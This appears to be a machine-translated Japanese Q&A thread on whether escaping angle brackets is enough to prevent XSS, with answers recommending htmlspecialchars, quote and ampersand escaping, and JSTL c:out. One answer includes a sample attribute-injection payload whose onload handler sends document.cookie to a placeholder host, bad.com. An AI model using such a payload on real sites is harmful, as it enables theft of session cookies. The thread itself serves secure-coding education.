XSS インジェクションを防ぐのに十分な2 つのマーク<
を付けるかどうかを知りたいですか?>
そうでない場合、なぜですか?そして、最善の解決策は何ですか?
XSS インジェクションを防ぐのに十分な2 つのマーク<
を付けるかどうかを知りたいですか?>
そうでない場合、なぜですか?そして、最善の解決策は何ですか?
それは文脈に大きく依存します。
典型的なフォーラム サイトからのこの例を確認してください...
アバター画像をホットリンクすることができます。完全な URL を入力します。
悪意のあるユーザーが入力フィールドに入力する
http://www.example.com/image.png" onload="window.location = 'http://www.bad.com/giveme.php?cookie=' + encodeURI(document.cookie)
大なり小なりのエンコーディングはありませんが、それでも大きなセキュリティ ホールがあります。
ではhtmlspecialchars()
、文字列にキャストするラッパー関数を作成 (または使用) し、(必要に応じて) 二重エンコーディングを無効にする簡単な方法を提供し、アプリケーションの正しい文字セットを使用していることを確認することをお勧めします。 . コハナには素晴らしい例があります。
二重引用符、一重引用符、およびアンパサンドも考慮する必要があります。出力の表示/生成中にそれをすべて行うと、はい、それで十分です。"
'
&
これは、リクエスト パラメータ、リクエスト URL、リクエスト ヘッダー、データストアに保存されているユーザー制御の入力など、ユーザー制御の入力に対してのみ行う必要があります。
PHP ではこれを行うことができhtmlspecialchars()
、JSP では JSTL を使用してそれを行うことができます<c:out>
。